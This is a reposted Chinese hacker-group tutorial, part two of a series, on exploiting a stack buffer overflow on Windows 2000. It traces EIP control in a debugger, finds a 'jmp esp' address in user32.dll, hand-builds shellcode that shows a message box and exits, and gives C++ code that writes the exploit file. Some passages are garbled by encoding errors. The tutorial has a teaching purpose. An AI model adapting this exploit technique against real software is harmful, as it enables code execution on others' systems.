• λ我爱Aspx >> Asp.Net >> WIN2000漏洞(2) —— 绿色兵团的文章,简直爽呆了
  • WIN2000漏洞(2) —— 绿色兵团的文章,简直爽呆了

  • :未知  Դ:internet  :2007-5-5 19:50:06  ؼ:
  • WIN2000漏洞(2)
    加入时间:01-1-7 上午 11:43:28

    妖狐安全资讯网 现在开始会复杂些了(而这就是乐趣的源泉!:))。 在main函数的最后一行代码处设置断点,因为我们只关心这里所发生的事情。现在启动调试器,并让程序无故障运行到该断点。然后切换到反汇编窗口(按Alt+8,或单击”View”――”debug windows”――”disassembly”)。另外还要打开内存窗口和寄存器窗口。 0040155B 5F pop edi0040155C 5E pop esi0040155D 5B pop ebx0040155E 83 C4 50 add esp,50h00401561 3B EC cmp ebp,esp00401563 E8 7E 00 00 00 call _chkesp (004015e6)00401568 8B E5 mov esp,ebp0040156A 5D pop ebp0040156B C3 ret 以上这些东西是什么?汇编代码。如果你对汇编一点都不懂,我在这里做一些简单的说明。第一行是”pop edi”。指令pop用于将仅次于堆栈顶端的数据移到其后的指定寄存器中。需要注意的是ESP寄存器。ESP是32位堆栈指针。一个pop指令移动堆栈顶端的一个数据单元,在这里是DWORD(双字,4字节),到指寄存器中,并将堆栈指针(因为共移动了4字节)。在执行下一步前,让我们看一下ESP寄存器。在内存窗口中输入ESP,就能得到ESP当前指向的地址和内容。看一下ESP指向的内存地址中4个字节的内容 和EDI寄存器的内容。现在单步执行”pop.edi”,我们能够看到EDI寄存器中填入了ESP所指向的内存地址的数值,同时ESP的数值也增加了4。后面的两条指令是一样的,只不过寄存器不同罢了。单步执行它 们。跟着的三行指令对本文没什么意义,所以在这里不作解释。单步执行到指令”mov esp, ebp”,该指令会将EBP的值赋给ESP寄存器。然后是指令”pop ebp”,这条指令很重要。先让我们在内存窗口输入ESP,可以看到该内存地址有一串”0x61”(’a’的16进制值)。因此0x61616161将被弹出到EBP寄存器中。单步执行该指令可以检验我说的没错吧?;) 好了,虽然我说的没错,但好象我们还没能得到什么有用的东西?现在到了最后一条指令”ret”。指令”ret”在汇编中是返回指令。它是如何知道应该返回到哪里的呢?由当前位于堆栈顶端的数值决定。 这条指令如果用pop指令表示的话可以表示为”pop eip”(虽然实际上你无法执行这条pop指令;))。它从ESP所指向内存地址处弹出4字节内容,并赋给EIP寄存器(EIP寄存器是32位指令指针)。这就意味着,不管EIP指向哪个内存地址,该地址处的指令?芑岢晌乱惶踔噶睢N颐窃俅卧谀诖娲翱谥惺淙隕SP,看一下将要赋给EIP寄存器的地址的指令是什么。其实我想此时大家都应该知道是4个字节长的0x61串。现在让我们单步执行该指令,看到EIP的值为0 x61616161,也就是说下一指令地址为0x61616161,但指令却显示为???(意为无效指令)。因此再单步执行指令将导致“访问非法”错误。现在再看看ESP寄存器。它正确地指向了堆栈中的下一个数值。也?褪撬担乱徊焦ぷ魇侨范ㄔ谑够撼迩晒σ绯觯‥IP=0x61616161)时,ESP所指向的地址是否能够存放我们的溢出代码!我们在overflow.txt文件中再次增加4个’a’(共28个’a’),并再次调试程序, 在执行到”ret”指令时观察内存窗口和寄存器窗口,会发现执行”ret”指令后ESP所指向内存地址的内容为4字节长的0x61串。Great!这意味着什么?!这个让大家自己想去吧。;))) 现在我再回过头来分析一下。我们刚才使用字符’a’(0x61)作为文本文件的填充内容,以确定存在缓冲区溢出。由于EIP=0x61616161,当我们的程序访问试图访问该地址处的指令时,会因为是无效指令 而导致系统出错。但如果所指向的地址存在可执行代码时又如何呢?例如装入内存的DLL代码等。哈哈,这样的话就会执行这些指令,从而可能做一些别人想像不到的事!;) 好了,到目前为止,我们已经能控制EIP的数值,也知道ESP指向的堆栈位置,和能够向堆栈写入任意数据。那么下一步做什么呢?当然是找到使系统执行我们的溢出代码的方法了。如果你看过ipxodi所著的 文章《Windows系统下的堆栈溢出》,就会知道采用跳转指令(jmp esp)是最好不过的了。原因在这里就不再多讲,请大家仔细阅读《Windows系统下的堆栈溢出》就清楚了。正如前面分析过的,这是因为执行完ret指令后ESP正好能够指向我们的溢出代码!(……哦,找不 到,我没分析过?在本文中查找单词”Great”吧,呵呵。)现在我们就要在应用程序的内存空间中找到含有”jmp esp”指令的地址。首先当然是确定这条指令的机器码了。怎么确定?这也要教?好吧,教就教吧。仅此一次,下不违例。;)其实方法很简单,按以下步骤就可以了。先在Visual C++中创建新的应用程序。(当然还是控制台程序,还是支持MFC,这是我的习惯。呵呵。)输入以下代码: CWinApp theApp; using namespace std; int _tmain(int argc, TCHAR* argv[], TCHAR* envp[]){int nRetCode = 0; // initialize MFC and print and error on failureif (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0)){// TODO: change error code to suit your needscerr << _T("Fatal Error: MFC initialization failed") << endl;nRetCode = 1;}else{return 0;__asm jmp esp}return nRetCode;} 好了,然后在Visual C++环境中设置正确的调试断点。哪里?对了,在“return 0;”处。接着运行程序,使其在断点处暂停运行。现在(选择“view”菜单——“Debug Windows”——“Disassembly”)打开反汇编窗口,并在反汇编窗口中单击鼠标右键,在右键弹出菜单中选择“Source Annotation”和“Code Bytes”。此时,在内存地址列右侧、(jmp esp)指令列左侧的"FF E4"就是指令"jmp esp"的机器码。如果需要找出其它汇编指令的机器码,基本上都可通过这种方法得到。 下一步是如何在我们的进程空间里找到这串机器码。也是非常简单的,只要修改一下代码即可: CWinApp theApp; using namespace std; int _tmain(int argc, TCHAR* argv[], TCHAR* envp[]){int nRetCode = 0; // initialize MFC and print and error on failureif (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0)){// TODO: change error code to suit your needscerr << _T("Fatal Error: MFC initialization failed") << endl;nRetCode = 1;}else{#if 0return 0;__asm jmp esp #else bool we_loaded_it = false;HINSTANCE h;TCHAR dllname[] = _T("User32"); h = GetModuleHandle(dllname);if(h == NULL){h = LoadLibrary(dllname);if(h == NULL){cout<<"ERROR LOADING DLL: "< return 1;}we_loaded_it = true;} BYTE* ptr = (BYTE*)h;bool done = false;for(int y = 0;!done;y++){try{if(ptr[y] == 0xFF && ptr[y+1] == 0xE4){int pos = (int)ptr + y;cout<<"OPCODE found at 0x"< }}catch(...){cout<<"END OF "< done = true;}} if(we_loaded_it) FreeLibrary(h);#endif}return nRetCode;} 也许你会奇怪,为什么不用Kernel32.dll呢?它不是更通用吗?我刚开始时也是在动态链接库Kernel32的进程空间寻找”FF E4”,但居然一处也找不到!(而在Windows NT 4中找到能至少6处!:(()后来我尝试在User32.dll中寻找,终于找到了一处。运行后程序输出: OPCODE found at 0x77e2e32aEND OF User32 MEMORY REACHED 注意,不同的动态链接库和版本,得到的结果可能会不一样。我的动态链接库User32.dll版本为5.00.2180.1。现在用16进制文件编辑器(如Ultra Edit)打开overflow.txt文本文件,在第21字符位置开始输入2A E3 E2 77。(为什么要在第21字符位置?为什么要输入2A E3 E2 77?我不想解释了,如果你连这都看不懂,建议你不要再研究缓冲区溢出了!)我们先保留后面的四个’a’字符。使用调试器运行程序,执行到”ret”命令处停下来,看看下一条指令是否为”jmp esp”,而且执行”jmp esp”前esp的内容是否为0x61616161。如果一切正确,OK, so far so good. ;)让我们来进行更刺激的事情――编写缓冲区溢出后的执行代码。 首先,你必须确保所有需要的动态链接库都被加载到进程空间中。一种方法是利用该程序本身调用的动态链接库;另一种方法是在溢出代码中加载该动态链接库。(在ipxodi的《Windows系统下的堆栈溢出?分杏邢晗附樯堋#┰谡饫镂也捎玫谝恢址椒āN裁矗恳蛭虻ヂ铩#唬?P>呵呵,为了编程简单,同时本文的主要目的是教学,重点在于原理,所以代码执行时仅是弹出一个消息框。如果想编写更具攻击性或更复杂的执行代码,可参阅ipxodi所著的《Windows系统下的堆栈溢出》?吐躺耪淼摹陡呒痘撼迩绯觥贰2还蠊愿海?P>首先我们要找到如何在代码中调用MessageBox函数。根据Windows API文档,MessageBox依赖于user32.lib,也就是说它位于user32.dll动态链接库中。启动depends工具,打开将要被溢出的应用程序,可以发现它将加载user32.dll。然后寻找MessageBox函数的内存位置。 在我机器的user32.dll中,MessageBoxA(ASCII版本)函数的偏移量(Entry Point)为0x00033D68。User32.dll在内存中的起始地址为0x77DF0000。将两者相加即可得到MessageBox函数的绝对内存地址为0x77E23D68。所以我们需要在汇编代码中正确设置堆栈并调用0x77E23D68。根?荻許teve Fewer的winamp缓冲区溢出代码学习和研究,我写出来的汇编代码如下: push ebppush ecxmov ebp,espsub esp,54hxor ecx,ecxmov byte ptr [ebp-14h],'S'mov byte ptr [ebp-13h],'u'mov byte ptr [ebp-12h],'c'mov byte ptr [ebp-11h],'c'mov byte ptr [ebp-10h],'e'mov byte ptr [ebp-0Fh],'s'mov byte ptr [ebp-0Eh],'s'mov byte ptr [ebp-0Dh],clmov byte ptr [ebp-0Ch],'W'mov byte ptr [ebp-0Bh],'e'mov byte ptr [ebp-0Ah],' 'mov byte ptr [ebp-9],'G'mov byte ptr [ebp-8],'o'mov byte ptr [ebp-7],'t'mov byte ptr [ebp-6],' 'mov byte ptr [ebp-5],'I'mov byte ptr [ebp-4],'t'mov byte ptr [ebp-3],'!'mov byte ptr [ebp-2],clpush ecxlea eax,[ebp-14h]push eaxlea eax,[ebp-0Ch]push eaxpush ecxmov dword ptr [ebp-18h],0x 77E23D68call dword ptr[ebp-18h]mov esp,ebppop ecxpop ebp 以上汇编代码将调用位于0x77E23D68的MessageBox函数,使其弹出标题为”Success”、消息内容为”We Got It!”的消息框。必须要注意的是,我们不能使用0(NULL)作为字符串中的字符,解决方法请参考ipxodi所著的《Windows系统下的堆栈溢出》和绿色兵团整理的《高级缓冲区溢出》。现在,我们要得到这?┗惚啻氲幕髀搿7椒ㄇ懊嬉丫樯芄耍辉僦馗础W詈笳淼玫降幕髀胛?P>\x55\x51\x8b\xec\x83\xec\x54\x33\xc9\xc6\x45\xec\x53\xc6\x45\xed\x75\xc6\x45\xee\x63\xc6\x45\xef\x63\xc6\x45\xf0\x65\xc6\x45\xf1\x73\xc6\x45\xf2\x73\x88\x4d\xf3\xc6\x45\xf4\x57\xc6\x45\xf5\x65\xc6\x45\xf6\x20\xc6\x45\xf7\x47\xc6\x45\xf8\x6f\xc6\x45\xf9\x74\xc6\x45\xfa\x20\xc6\x45\xfb\x49\xc6\x45\xfc\x74\xc6\x45\xfd\x21\x88\x4d\xfe\x51\x8d\x45\xec\x50\x8d\x45\xf4\x50\x51\xc7\x45\xe8\x68\x3d\xe2\x77\xff\x55\xe8\x8b\xe5\x59\x5d 如果现在将这输入到overflow.txt文件中,将能够成功溢出,并弹出我们定制的消息框。但当单击”确定”按钮后,应用程序将崩溃。要避免出现这种情况,我们需要调用exit函数以正常关闭程序。查阅Wi ndows API文档可知,需要导入msvcrt.lib,因此肯定在msvcrt.dll动态链接库中。使用depends工具会发现应用程序加载了msvcrtd.dll而不是msvcrt.dll,这是因为我们应用程序现在使用的是调试版本。但两者?惶嗲稹svcrtd.dll在内存中的起始地址为0x10200000,exit函数的偏移量(Entry Point)为0x0000AF90,则exit函数的绝对地址为0x1020AF90。故汇编代码为: push ebppush ecxmov ebp,espsub esp,10hxor ecx,ecxpush ecxmov dword ptr [ebp-4],0x1020AF90call dword ptr[ebp-4]mov esp,ebppop ecxpop ebp 以上代码以0为参数调用exit函数,使应用程序以代码0退出运行。整理后得到的机器码如下: \x55\x51\x8b\xec\x83\xec\x10\x33\xc9\x51\xc7\x45\xfc\x90\xaf\x20\x10\xff\x55\xfc\x8b\xe5\x59\x5d 现在将上面两串机器码输入到overflow.txt文件中(以第25个字节为起始位置。这次不用问为什么了吧?!如果还不懂,复习一下前面的内容!) 如果你嫌麻烦,可以使用以下程序(怎么样,够朋友了吧?;)): CWinApp theApp; using namespace std; int _tmain(int argc, TCHAR* argv[], TCHAR* envp[]){int nRetCode = 0; // initialize MFC and print and error on failureif (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0)){cerr << _T("Fatal Error: MFC initialization failed") << endl;nRetCode = 1;}else{char buffer[20];//0x77e2e32a //user32.dll JMP ESPchar eip[] = "\x2a\xe3\xe2\x77";char sploit[] = "\x55\x51\x8b\xec\x83\xec\x54\x33\xc9\xc6\x45\xec\x53\xc6\x45\xed\x75\xc6\x45\xee""\x63\xc6\x45\xef\x63\xc6\x45\xf0\x65\xc6\x45\xf1\x73\xc6\x45\xf2\x73\x88\x4d\xf3\xc6""\x45\xf4\x57\xc6\x45\xf5\x65\xc6\x45\xf6\x20\xc6\x45\xf7\x47\xc6\x45\xf8\x6f\xc6\x45""\xf9\x74\xc6\x45\xfa\x20\xc6\x45\xfb\x49\xc6\x45\xfc\x74\xc6\x45\xfd\x21\x88\x4d\xfe""\x51\x8d\x45\xec\x50\x8d\x45\xf4\x50\x51\xc7\x45\xe8\x68\x3d\xe2\x77\xff\x55\xe8\x8b""\xe5\x59\x5d\x55\x51\x8b\xec\x83\xec\x10\x33\xc9\x51\xc7\x45\xfc\x90\xaf\x20\x10\xff""\x55\xfc\x8b\xe5\x59\x5d"; for(int x=0;x<20;x++){buffer[x] = 0x90;} CFile file;file.Open("overflow.txt",CFile::modeCreate | CFile::modeWrite); file.Write(buffer,20);file.Write(eip,strlen(eip));file.Write(sploit,strlen(sploit)); file.Close();} return nRetCode;} 在确保所有文件的内容和位置都准确无误后,运行被溢出程序…………哈哈,我们的消息框弹出来了!!!单击”确定”按钮,程序正常关闭!!! --[ 后记 最近访问国外的安全站点、黑客站点,发现国外越来越多地关注Windows系统的安全,研究Windows系统漏洞的也越来越多,包括L0pht、Cerberus等。特别是在一些黑客性质很重的站点,针对Windows 9x/NT/2k的攻击程序一堆堆的。真的有点不敢想像,如果Micro$oft公开所有Windows的源代码,会有多少安全漏洞被发现。而我想,根据国内使用Windows平台的普遍性,问题将会更加严重。因此我觉得国?诙訵indows的安全性研究应该抓得更紧些!虽然实际情况令人沮丧……:( 这篇文章本来不打算整理的,因为我自己也是刚开始研究Windows系统下的缓冲区溢出,掌握的东西不多,担心被Windows高手取笑。后来倒是自己想通了:只有“班门弄斧”,才能知道自己的不足,才能更快地取得进步。希望众Windows高手、黑客高手多多指教。象我们绿色兵团里的ipxodi、袁哥、zer9等,都是Windows平台下的安全专家,如果本文能起到“抛砖引玉”的作用,我便很满足了。:)

    Ҷƪл˵?
  • һƪ国内应用软件开发管理的探讨
    һƪWIN2000漏洞(2) —— 绿色兵团的文章,简直爽呆了